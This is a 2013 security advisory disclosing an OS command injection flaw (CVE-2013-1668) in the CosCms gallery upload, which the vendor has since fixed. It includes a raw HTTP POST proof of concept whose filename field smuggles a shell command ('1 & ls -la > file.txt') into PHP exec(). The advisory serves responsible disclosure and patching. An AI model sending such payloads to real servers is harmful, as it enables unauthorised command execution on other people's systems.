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OS Command Injection in CosCms
From: advisory () htbridge com
Date: Wed, 6 Mar 2013 11:31:50 +0100 (CET)

Advisory ID: HTB23145
Product: CosCms
Vendor: http://www.coscms.org
Vulnerable Version(s): 1.721 and probably prior
Tested Version: 1.721
Vendor Notification: February 13, 2013 
Vendor Patch: February 13, 2013 
Public Disclosure: March 6, 2013 
Vulnerability Type: OS Command Injection [CWE-78]
CVE Reference: CVE-2013-1668
Risk Level: High 
CVSSv2 Base Score: 8.5 (AV:N/AC:M/Au:S/C:C/I:C/A:C)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in CosCms, which can be exploited to execute arbitrary 
OS commands on web server where the vulnerable application is hosted.


1) OS Command Injection in CosCms: CVE-2013-1668

Vulnerability exists due to insufficient validation of user-supplied input in "$_FILES['file']['name']" variable passed 
to "/gallery/upload/index" URL before using it in PHP "exec()" function. A remote attacker can send a specially crafted 
HTTP POST request containing a malicious filename, and execute arbitrary commands on the target system with privileges 
of the web server.

The following PoC (Proof of Concept) code will write output of "ls -la" command into "/gallery/upload/file.txt" file. 
You can use any tool to send raw HTTP requests, e.g. telnet:



POST /gallery/upload/index HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------21456260222104
Content-Length: 970

-----------------------------21456260222104
Content-Disposition: form-data; name="title"

1
-----------------------------21456260222104
Content-Disposition: form-data; name="image_add"

1
-----------------------------21456260222104
Content-Disposition: form-data; name="description"

1
-----------------------------21456260222104
Content-Disposition: form-data; name="tags"


-----------------------------21456260222104
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000000
-----------------------------21456260222104
Content-Disposition: form-data; name="APC_UPLOAD_PROGRESS"

511ad0922b50f
-----------------------------21456260222104
Content-Disposition: form-data; name="file"; filename="1 & ls -la > file.txt"
Content-Type: application/octet-stream

1

-----------------------------21456260222104
Content-Disposition: form-data; name="submit"

Update
-----------------------------21456260222104--   



Successful exploitation of this vulnerability requires an attacker to be logged-in and have privileges to upload files. 
User registration is disabled by default.


-----------------------------------------------------------------------------------------------

Solution:

Upgrade to CosCms 1.822

More Information:
http://www.coscms.org/blog/view/4/Version-1.822
https://github.com/diversen/gallery/blob/master/upload/index.php
https://github.com/diversen/gallery/commit/7d58f870e8edc6597485dd1b80ea9fb78580190c

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23145 - https://www.htbridge.com/advisory/HTB23145 - OS Command Injection in CosCms.
[2] CosCms - http://www.coscms.org/ - CosCMS is a simple framework for building web application. It is intended for 
users, who wants some common modules, and a platform with a small code base which is easy to extend.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public 
use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE 
is a formal list of software weakness types. 

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details 
of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the 
Advisory is available on web page [1] in the References.


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